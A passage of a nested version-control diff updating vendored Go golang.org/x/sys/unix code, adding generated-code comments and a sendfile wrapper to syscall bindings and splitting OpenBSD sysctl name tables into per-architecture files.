-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Stat(path string, stat *Stat_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1327,6 +1627,8 @@ func Stat(path string, stat *Stat_t) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Statvfs(path string, vfsstat *Statvfs_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1340,6 +1642,8 @@ func Statvfs(path string, vfsstat *Statvfs_t) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Symlink(path string, link string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1358,6 +1662,8 @@ func Symlink(path string, link string) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Sync() (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procSync)), 0, 0, 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1366,6 +1672,8 @@ func Sync() (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Times(tms *Tms) (ticks uintptr, err error) {
- r0, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procTimes)), 1, uintptr(unsafe.Pointer(tms)), 0, 0, 0, 0, 0)
- ticks = uintptr(r0)
-@@ -1375,6 +1683,8 @@ func Times(tms *Tms) (ticks uintptr, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Truncate(path string, length int64) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1388,6 +1698,8 @@ func Truncate(path string, length int64) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fsync(fd int) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procFsync)), 1, uintptr(fd), 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1396,6 +1708,8 @@ func Fsync(fd int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Ftruncate(fd int, length int64) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procFtruncate)), 2, uintptr(fd), uintptr(length), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1404,12 +1718,16 @@ func Ftruncate(fd int, length int64) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Umask(mask int) (oldmask int) {
- r0, _, _ := sysvicall6(uintptr(unsafe.Pointer(&procUmask)), 1, uintptr(mask), 0, 0, 0, 0, 0)
- oldmask = int(r0)
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Uname(buf *Utsname) (err error) {
- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procUname)), 1, uintptr(unsafe.Pointer(buf)), 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1418,6 +1736,8 @@ func Uname(buf *Utsname) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Unmount(target string, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(target)
-@@ -1431,6 +1751,8 @@ func Unmount(target string, flags int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Unlink(path string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1444,6 +1766,8 @@ func Unlink(path string) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Unlinkat(dirfd int, path string, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1457,6 +1781,8 @@ func Unlinkat(dirfd int, path string, flags int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Ustat(dev int, ubuf *Ustat_t) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procUstat)), 2, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1465,6 +1791,8 @@ func Ustat(dev int, ubuf *Ustat_t) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Utime(path string, buf *Utimbuf) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1478,6 +1806,8 @@ func Utime(path string, buf *Utimbuf) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&proc__xnet_bind)), 3, uintptr(s), uintptr(addr), uintptr(addrlen), 0, 0, 0)
- if e1 != 0 {
-@@ -1486,6 +1816,8 @@ func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&proc__xnet_connect)), 3, uintptr(s), uintptr(addr), uintptr(addrlen), 0, 0, 0)
- if e1 != 0 {
-@@ -1494,6 +1826,8 @@ func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error) {
- r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procmmap)), 6, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), uintptr(pos))
- ret = uintptr(r0)
-@@ -1503,6 +1837,8 @@ func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func munmap(addr uintptr, length uintptr) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procmunmap)), 2, uintptr(addr), uintptr(length), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1511,6 +1847,19 @@ func munmap(addr uintptr, length uintptr) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-+ r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procsendfile)), 4, uintptr(outfd), uintptr(infd), uintptr(unsafe.Pointer(offset)), uintptr(count), 0, 0)
-+ written = int(r0)
-+ if e1 != 0 {
-+ err = e1
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) {
- var _p0 *byte
- if len(buf) > 0 {
-@@ -1523,6 +1872,8 @@ func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func socket(domain int, typ int, proto int) (fd int, err error) {
- r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&proc__xnet_socket)), 3, uintptr(domain), uintptr(typ), uintptr(proto), 0, 0, 0)
- fd = int(r0)
-@@ -1532,6 +1883,8 @@ func socket(domain int, typ int, proto int) (fd int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) {
- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&proc__xnet_socketpair)), 4, uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0)
- if e1 != 0 {
-@@ -1540,6 +1893,8 @@ func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func write(fd int, p []byte) (n int, err error) {
- var _p0 *byte
- if len(p) > 0 {
-@@ -1553,6 +1908,8 @@ func write(fd int, p []byte) (n int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&proc__xnet_getsockopt)), 5, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0)
- if e1 != 0 {
-@@ -1561,6 +1918,8 @@ func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procgetpeername)), 3, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)), 0, 0, 0)
- if e1 != 0 {
-@@ -1569,6 +1928,8 @@ func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procsetsockopt)), 5, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0)
- if e1 != 0 {
-@@ -1577,6 +1938,8 @@ func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr)
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) {
- var _p0 *byte
- if len(p) > 0 {
-@@ -1589,12 +1952,3 @@ func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Sockl
- }
- return
- }
--
--func sysconf(name int) (n int64, err error) {
-- r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procsysconf)), 1, uintptr(name), 0, 0, 0, 0, 0)
-- n = int64(r0)
-- if e1 != 0 {
-- err = e1
-- }
-- return
--}
-diff --git a/vendor/golang.org/x/sys/unix/zsysctl_openbsd.go b/vendor/golang.org/x/sys/unix/zsysctl_openbsd_386.go
-similarity index 99%
-copy from vendor/golang.org/x/sys/unix/zsysctl_openbsd.go
-copy to vendor/golang.org/x/sys/unix/zsysctl_openbsd_386.go
-index 83bb935b..37dcc74c 100644
---- a/vendor/golang.org/x/sys/unix/zsysctl_openbsd.go
-+++ b/vendor/golang.org/x/sys/unix/zsysctl_openbsd_386.go
-@@ -1,5 +1,7 @@
- // mksysctl_openbsd.pl
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// Code generated by the command above; DO NOT EDIT.
-+
-+// +build 386,openbsd
-
- package unix
-
-diff --git a/vendor/golang.org/x/sys/unix/zsysctl_openbsd.go b/vendor/golang.org/x/sys/unix/zsysctl_openbsd_amd64.go
-similarity index 91%
-copy from vendor/golang.org/x/sys/unix/zsysctl_openbsd.go
-copy to vendor/golang.org/x/sys/unix/zsysctl_openbsd_amd64.go
-index 83bb935b..fe6caa6e 100644
---- a/vendor/golang.org/x/sys/unix/zsysctl_openbsd.go
-+++ b/vendor/golang.org/x/sys/unix/zsysctl_openbsd_amd64.go
-@@ -1,5 +1,7 @@
--// mksysctl_openbsd.pl
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// go run mksysctl_openbsd.go
-+// Code generated by the command above; DO NOT EDIT.
-+
-+// +build amd64,openbsd
-
- package unix
-
-@@ -14,6 +16,7 @@ var sysctlMib = []mibentry{
- {"ddb.max_line", []_C_int{9, 3}},
- {"ddb.max_width", []_C_int{9, 2}},
- {"ddb.panic", []_C_int{9, 5}},
-+ {"ddb.profile", []_C_int{9, 9}},
- {"ddb.radix", []_C_int{9, 1}},
- {"ddb.tab_stop_width", []_C_int{9, 4}},
- {"ddb.trigger", []_C_int{9, 8}},
-@@ -29,6 +32,7 @@ var sysctlMib = []mibentry{
- {"hw.ncpu", []_C_int{6, 3}},
- {"hw.ncpufound", []_C_int{6, 21}},
- {"hw.pagesize", []_C_int{6, 7}},
-+ {"hw.perfpolicy", []_C_int{6, 23}},
- {"hw.physmem", []_C_int{6, 19}},
- {"hw.product", []_C_int{6, 15}},
- {"hw.serialno", []_C_int{6, 17}},
-@@ -37,7 +41,7 @@ var sysctlMib = []mibentry{
- {"hw.uuid", []_C_int{6, 18}},
- {"hw.vendor", []_C_int{6, 14}},
- {"hw.version", []_C_int{6, 16}},
-- {"kern.arandom", []_C_int{1, 37}},
-+ {"kern.allowkmem", []_C_int{1, 52}},
- {"kern.argmax", []_C_int{1, 8}},
- {"kern.boottime", []_C_int{1, 21}},
- {"kern.bufcachepercent", []_C_int{1, 72}},
-@@ -46,12 +50,13 @@ var sysctlMib = []mibentry{
- {"kern.consdev", []_C_int{1, 75}},
- {"kern.cp_time", []_C_int{1, 40}},
- {"kern.cp_time2", []_C_int{1, 71}},
-- {"kern.cryptodevallowsoft", []_C_int{1, 53}},
-+ {"kern.dnsjackport", []_C_int{1, 13}},
- {"kern.domainname", []_C_int{1, 22}},
- {"kern.file", []_C_int{1, 73}},
- {"kern.forkstat", []_C_int{1, 42}},
- {"kern.fscale", []_C_int{1, 46}},
- {"kern.fsync", []_C_int{1, 33}},
-+ {"kern.global_ptrace", []_C_int{1, 81}},
- {"kern.hostid", []_C_int{1, 11}},
- {"kern.hostname", []_C_int{1, 10}},
- {"kern.intrcnt.nintrcnt", []_C_int{1, 63, 1}},
-@@ -84,7 +89,6 @@ var sysctlMib = []mibentry{
- {"kern.pool_debug", []_C_int{1, 77}},
- {"kern.posix1version", []_C_int{1, 17}},
- {"kern.proc", []_C_int{1, 66}},
-- {"kern.random", []_C_int{1, 31}},
- {"kern.rawpartition", []_C_int{1, 24}},
- {"kern.saved_ids", []_C_int{1, 20}},
- {"kern.securelevel", []_C_int{1, 9}},
-@@ -102,21 +106,16 @@ var sysctlMib = []mibentry{
- {"kern.timecounter.hardware", []_C_int{1, 69, 3}},
- {"kern.timecounter.tick", []_C_int{1, 69, 1}},
- {"kern.timecounter.timestepwarnings", []_C_int{1, 69, 2}},
-- {"kern.tty.maxptys", []_C_int{1, 44, 6}},
-- {"kern.tty.nptys", []_C_int{1, 44, 7}},
- {"kern.tty.tk_cancc", []_C_int{1, 44, 4}},
- {"kern.tty.tk_nin", []_C_int{1, 44, 1}},
- {"kern.tty.tk_nout", []_C_int{1, 44, 2}},
- {"kern.tty.tk_rawcc", []_C_int{1, 44, 3}},
- {"kern.tty.ttyinfo", []_C_int{1, 44, 5}},
- {"kern.ttycount", []_C_int{1, 57}},
-- {"kern.userasymcrypto", []_C_int{1, 60}},
-- {"kern.usercrypto", []_C_int{1, 52}},
-- {"kern.usermount", []_C_int{1, 30}},
- {"kern.version", []_C_int{1, 4}},
-- {"kern.vnode", []_C_int{1, 13}},
- {"kern.watchdog.auto", []_C_int{1, 64, 2}},
- {"kern.watchdog.period", []_C_int{1, 64, 1}},
-+ {"kern.wxabort", []_C_int{1, 74}},
- {"net.bpf.bufsize", []_C_int{4, 31, 1}},
- {"net.bpf.maxbufsize", []_C_int{4, 31, 2}},
- {"net.inet.ah.enable", []_C_int{4, 2, 51, 1}},
-@@ -144,7 +143,9 @@ var sysctlMib = []mibentry{
- {"net.inet.icmp.stats", []_C_int{4, 2, 1, 7}},
- {"net.inet.icmp.tstamprepl", []_C_int{4, 2, 1, 6}},
- {"net.inet.igmp.stats", []_C_int{4, 2, 2, 1}},
-+ {"net.inet.ip.arpdown", []_C_int{4, 2, 0, 40}},
- {"net.inet.ip.arpqueued", []_C_int{4, 2, 0, 36}},
-+ {"net.inet.ip.arptimeout", []_C_int{4, 2, 0, 39}},
- {"net.inet.ip.encdebug", []_C_int{4, 2, 0, 12}},
- {"net.inet.ip.forwarding", []_C_int{4, 2, 0, 1}},
- {"net.inet.ip.ifq.congestion", []_C_int{4, 2, 0, 30, 4}},
-@@ -153,8 +154,10 @@ var sysctlMib = []mibentry{
- {"net.inet.ip.ifq.maxlen", []_C_int{4, 2, 0, 30, 2}},
- {"net.inet.ip.maxqueue", []_C_int{4, 2, 0, 11}},
- {"net.inet.ip.mforwarding", []_C_int{4, 2, 0, 31}},
-+ {"net.inet.ip.mrtmfc", []_C_int{4, 2, 0, 37}},
- {"net.inet.ip.mrtproto", []_C_int{4, 2, 0, 34}},
- {"net.inet.ip.mrtstats", []_C_int{4, 2, 0, 35}},
-+ {"net.inet.ip.mrtvif", []_C_int{4, 2, 0, 38}},
- {"net.inet.ip.mtu", []_C_int{4, 2, 0, 4}},
- {"net.inet.ip.mtudisc", []_C_int{4, 2, 0, 27}},
- {"net.inet.ip.mtudisctimeout", []_C_int{4, 2, 0, 28}},
-@@ -173,7 +176,6 @@ var sysctlMib = []mibentry{
- {"net.inet.ipip.stats", []_C_int{4, 2, 4, 2}},
- {"net.inet.mobileip.allow", []_C_int{4, 2, 55, 1}},
- {"net.inet.pfsync.stats", []_C_int{4, 2, 240, 1}},
-- {"net.inet.pim.stats", []_C_int{4, 2, 103, 1}},
- {"net.inet.tcp.ackonpush", []_C_int{4, 2, 6, 13}},
- {"net.inet.tcp.always_keepalive", []_C_int{4, 2, 6, 22}},
- {"net.inet.tcp.baddynamic", []_C_int{4, 2, 6, 6}},
-@@ -187,6 +189,7 @@ var sysctlMib = []mibentry{
- {"net.inet.tcp.reasslimit", []_C_int{4, 2, 6, 18}},
- {"net.inet.tcp.rfc1323", []_C_int{4, 2, 6, 1}},
- {"net.inet.tcp.rfc3390", []_C_int{4, 2, 6, 17}},
-+ {"net.inet.tcp.rootonly", []_C_int{4, 2, 6, 24}},
- {"net.inet.tcp.rstppslimit", []_C_int{4, 2, 6, 12}},
- {"net.inet.tcp.sack", []_C_int{4, 2, 6, 10}},
- {"net.inet.tcp.sackholelimit", []_C_int{4, 2, 6, 20}},
-@@ -194,9 +197,12 @@ var sysctlMib = []mibentry{
- {"net.inet.tcp.stats", []_C_int{4, 2, 6, 21}},
- {"net.inet.tcp.synbucketlimit", []_C_int{4, 2, 6, 16}},
- {"net.inet.tcp.syncachelimit", []_C_int{4, 2, 6, 15}},
-+ {"net.inet.tcp.synhashsize", []_C_int{4, 2, 6, 25}},
-+ {"net.inet.tcp.synuselimit", []_C_int{4, 2, 6, 23}},
- {"net.inet.udp.baddynamic", []_C_int{4, 2, 17, 2}},
- {"net.inet.udp.checksum", []_C_int{4, 2, 17, 1}},
- {"net.inet.udp.recvspace", []_C_int{4, 2, 17, 3}},
-+ {"net.inet.udp.rootonly", []_C_int{4, 2, 17, 6}},
- {"net.inet.udp.sendspace", []_C_int{4, 2, 17, 4}},
- {"net.inet.udp.stats", []_C_int{4, 2, 17, 5}},
- {"net.inet6.divert.recvspace", []_C_int{4, 24, 86, 1}},
-@@ -209,13 +215,8 @@ var sysctlMib = []mibentry{
- {"net.inet6.icmp6.nd6_delay", []_C_int{4, 24, 30, 8}},
- {"net.inet6.icmp6.nd6_maxnudhint", []_C_int{4, 24, 30, 15}},
- {"net.inet6.icmp6.nd6_mmaxtries", []_C_int{4, 24, 30, 10}},
-- {"net.inet6.icmp6.nd6_prune", []_C_int{4, 24, 30, 6}},
- {"net.inet6.icmp6.nd6_umaxtries", []_C_int{4, 24, 30, 9}},
-- {"net.inet6.icmp6.nd6_useloopback", []_C_int{4, 24, 30, 11}},
-- {"net.inet6.icmp6.nodeinfo", []_C_int{4, 24, 30, 13}},
-- {"net.inet6.icmp6.rediraccept", []_C_int{4, 24, 30, 2}},
- {"net.inet6.icmp6.redirtimeout", []_C_int{4, 24, 30, 3}},
-- {"net.inet6.ip6.accept_rtadv", []_C_int{4, 24, 17, 12}},
- {"net.inet6.ip6.auto_flowlabel", []_C_int{4, 24, 17, 17}},
- {"net.inet6.ip6.dad_count", []_C_int{4, 24, 17, 16}},
- {"net.inet6.ip6.dad_pending", []_C_int{4, 24, 17, 49}},
-@@ -228,20 +229,19 @@ var sysctlMib = []mibentry{
- {"net.inet6.ip6.maxdynroutes", []_C_int{4, 24, 17, 48}},
- {"net.inet6.ip6.maxfragpackets", []_C_int{4, 24, 17, 9}},
- {"net.inet6.ip6.maxfrags", []_C_int{4, 24, 17, 41}},
-- {"net.inet6.ip6.maxifdefrouters", []_C_int{4, 24, 17, 47}},
-- {"net.inet6.ip6.maxifprefixes", []_C_int{4, 24, 17, 46}},
- {"net.inet6.ip6.mforwarding", []_C_int{4, 24, 17, 42}},
-+ {"net.inet6.ip6.mrtmfc", []_C_int{4, 24, 17, 53}},
-+ {"net.inet6.ip6.mrtmif", []_C_int{4, 24, 17, 52}},
- {"net.inet6.ip6.mrtproto", []_C_int{4, 24, 17, 8}},
- {"net.inet6.ip6.mtudisctimeout", []_C_int{4, 24, 17, 50}},
- {"net.inet6.ip6.multicast_mtudisc", []_C_int{4, 24, 17, 44}},
- {"net.inet6.ip6.multipath", []_C_int{4, 24, 17, 43}},
- {"net.inet6.ip6.neighborgcthresh", []_C_int{4, 24, 17, 45}},
- {"net.inet6.ip6.redirect", []_C_int{4, 24, 17, 2}},
-- {"net.inet6.ip6.rr_prune", []_C_int{4, 24, 17, 22}},
-+ {"net.inet6.ip6.soiikey", []_C_int{4, 24, 17, 54}},
- {"net.inet6.ip6.sourcecheck", []_C_int{4, 24, 17, 10}},
- {"net.inet6.ip6.sourcecheck_logint", []_C_int{4, 24, 17, 11}},
- {"net.inet6.ip6.use_deprecated", []_C_int{4, 24, 17, 21}},
-- {"net.inet6.ip6.v6only", []_C_int{4, 24, 17, 24}},
- {"net.key.sadb_dump", []_C_int{4, 30, 1}},
- {"net.key.spd_dump", []_C_int{4, 30, 2}},
- {"net.mpls.ifq.congestion", []_C_int{4, 33, 3, 4}},
-diff --git a/vendor/golang.org/x/sys/unix/zsysctl_openbsd.go b/vendor/golang.org/x/sys/unix/zsysctl_openbsd_arm.go
-similarity index 99%
-copy from vendor/golang.org/x/sys/unix/zsysctl_openbsd.go
-copy to vendor/golang.org/x/sys/unix/zsysctl_openbsd_arm.go
-index 83bb935b..6eb8c0b0 100644
---- a/vendor/golang.org/x/sys/unix/zsysctl_openbsd.go
-+++ b/vendor/golang.org/x/sys/unix/zsysctl_openbsd_arm.go
-@@ -1,5 +1,7 @@
--// mksysctl_openbsd.pl
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// go run mksysctl_openbsd.go
-+// Code generated by the command above; DO NOT EDIT.
-+
-+// +build arm,openbsd
-
- package unix
-
-diff --git a/vendor/golang.org/x/sys/unix/zsysctl_openbsd.go b/vendor/golang.org/x/sys/unix/zsysctl_openbsd_arm64.go
-similarity index 91%
-rename from vendor/golang.org/x/sys/unix/zsysctl_openbsd.go
-rename to vendor/golang.org/x/sys/unix/zsysctl_openbsd_arm64.go
-index 83bb935b..ba4304fd 100644
---- a/vendor/golang.org/x/sys/unix/zsysctl_openbsd.go
-+++ b/vendor/golang.org/x/sys/unix/zsysctl_openbsd_arm64.go
-@@ -1,5 +1,7 @@
--// mksysctl_openbsd.pl
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// go run mksysctl_openbsd.go
-+// Code generated by the command above; DO NOT EDIT.
-+
-+// +build arm64,openbsd
-
- package unix
-
-@@ -14,6 +16,7 @@ var sysctlMib = []mibentry{
- {"ddb.max_line", []_C_int{9, 3}},
- {"ddb.max_width", []_C_int{9, 2}},
- {"ddb.panic", []_C_int{9, 5}},
-+ {"ddb.profile", []_C_int{9, 9}},
- {"ddb.radix", []_C_int{9, 1}},
- {"ddb.tab_stop_width", []_C_int{9, 4}},
- {"ddb.trigger", []_C_int{9, 8}},
-@@ -28,17 +31,21 @@ var sysctlMib = []mibentry{
- {"hw.model", []_C_int{6, 2}},
- {"hw.ncpu", []_C_int{6, 3}},
- {"hw.ncpufound", []_C_int{6, 21}},
-+ {"hw.ncpuonline", []_C_int{6, 25}},
- {"hw.pagesize", []_C_int{6, 7}},
-+ {"hw.perfpolicy", []_C_int{6, 23}},
- {"hw.physmem", []_C_int{6, 19}},
- {"hw.product", []_C_int{6, 15}},
- {"hw.serialno", []_C_int{6, 17}},
- {"hw.setperf", []_C_int{6, 13}},
-+ {"hw.smt", []_C_int{6, 24}},
- {"hw.usermem", []_C_int{6, 20}},
- {"hw.uuid", []_C_int{6, 18}},
- {"hw.vendor", []_C_int{6, 14}},
- {"hw.version", []_C_int{6, 16}},
-- {"kern.arandom", []_C_int{1, 37}},
-+ {"kern.allowkmem", []_C_int{1, 52}},
- {"kern.argmax", []_C_int{1, 8}},
-+ {"kern.audio", []_C_int{1, 84}},
- {"kern.boottime", []_C_int{1, 21}},
- {"kern.bufcachepercent", []_C_int{1, 72}},
- {"kern.ccpu", []_C_int{1, 45}},
-@@ -46,12 +53,13 @@ var sysctlMib = []mibentry{
- {"kern.consdev", []_C_int{1, 75}},
- {"kern.cp_time", []_C_int{1, 40}},
- {"kern.cp_time2", []_C_int{1, 71}},
-- {"kern.cryptodevallowsoft", []_C_int{1, 53}},
-+ {"kern.cpustats", []_C_int{1, 85}},
- {"kern.domainname", []_C_int{1, 22}},
- {"kern.file", []_C_int{1, 73}},
- {"kern.forkstat", []_C_int{1, 42}},
- {"kern.fscale", []_C_int{1, 46}},
- {"kern.fsync", []_C_int{1, 33}},
-+ {"kern.global_ptrace", []_C_int{1, 81}},
- {"kern.hostid", []_C_int{1, 11}},
- {"kern.hostname", []_C_int{1, 10}},
- {"kern.intrcnt.nintrcnt", []_C_int{1, 63, 1}},
-@@ -84,7 +92,6 @@ var sysctlMib = []mibentry{
- {"kern.pool_debug", []_C_int{1, 77}},
- {"kern.posix1version", []_C_int{1, 17}},
- {"kern.proc", []_C_int{1, 66}},
-- {"kern.random", []_C_int{1, 31}},
- {"kern.rawpartition", []_C_int{1, 24}},
- {"kern.saved_ids", []_C_int{1, 20}},
- {"kern.securelevel", []_C_int{1, 9}},
-@@ -102,21 +109,17 @@ var sysctlMib = []mibentry{
- {"kern.timecounter.hardware", []_C_int{1, 69, 3}},
- {"kern.timecounter.tick", []_C_int{1, 69, 1}},
- {"kern.timecounter.timestepwarnings", []_C_int{1, 69, 2}},
-- {"kern.tty.maxptys", []_C_int{1, 44, 6}},
-- {"kern.tty.nptys", []_C_int{1, 44, 7}},
- {"kern.tty.tk_cancc", []_C_int{1, 44, 4}},
- {"kern.tty.tk_nin", []_C_int{1, 44, 1}},
- {"kern.tty.tk_nout", []_C_int{1, 44, 2}},
- {"kern.tty.tk_rawcc", []_C_int{1, 44, 3}},
- {"kern.tty.ttyinfo", []_C_int{1, 44, 5}},
- {"kern.ttycount", []_C_int{1, 57}},
-- {"kern.userasymcrypto", []_C_int{1, 60}},
-- {"kern.usercrypto", []_C_int{1, 52}},
-- {"kern.usermount", []_C_int{1, 30}},
- {"kern.version", []_C_int{1, 4}},
-- {"kern.vnode", []_C_int{1, 13}},
- {"kern.watchdog.auto", []_C_int{1, 64, 2}},
- {"kern.watchdog.period", []_C_int{1, 64, 1}},
-+ {"kern.witnesswatch", []_C_int{1, 53}},
-+ {"kern.wxabort", []_C_int{1, 74}},
- {"net.bpf.bufsize", []_C_int{4, 31, 1}},
- {"net.bpf.maxbufsize", []_C_int{4, 31, 2}},
- {"net.inet.ah.enable", []_C_int{4, 2, 51, 1}},
-@@ -144,7 +147,9 @@ var sysctlMib = []mibentry{
- {"net.inet.icmp.stats", []_C_int{4, 2, 1, 7}},
- {"net.inet.icmp.tstamprepl", []_C_int{4, 2, 1, 6}},
- {"net.inet.igmp.stats", []_C_int{4, 2, 2, 1}},
-+ {"net.inet.ip.arpdown", []_C_int{4, 2, 0, 40}},
- {"net.inet.ip.arpqueued", []_C_int{4, 2, 0, 36}},
-+ {"net.inet.ip.arptimeout", []_C_int{4, 2, 0, 39}},
- {"net.inet.ip.encdebug", []_C_int{4, 2, 0, 12}},
- {"net.inet.ip.forwarding", []_C_int{4, 2, 0, 1}},
- {"net.inet.ip.ifq.congestion", []_C_int{4, 2, 0, 30, 4}},
-@@ -153,8 +158,10 @@ var sysctlMib = []mibentry{
- {"net.inet.ip.ifq.maxlen", []_C_int{4, 2, 0, 30, 2}},
- {"net.inet.ip.maxqueue", []_C_int{4, 2, 0, 11}},
- {"net.inet.ip.mforwarding", []_C_int{4, 2, 0, 31}},
-+ {"net.inet.ip.mrtmfc", []_C_int{4, 2, 0, 37}},
- {"net.inet.ip.mrtproto", []_C_int{4, 2, 0, 34}},
- {"net.inet.ip.mrtstats", []_C_int{4, 2, 0, 35}},
-+ {"net.inet.ip.mrtvif", []_C_int{4, 2, 0, 38}},
- {"net.inet.ip.mtu", []_C_int{4, 2, 0, 4}},
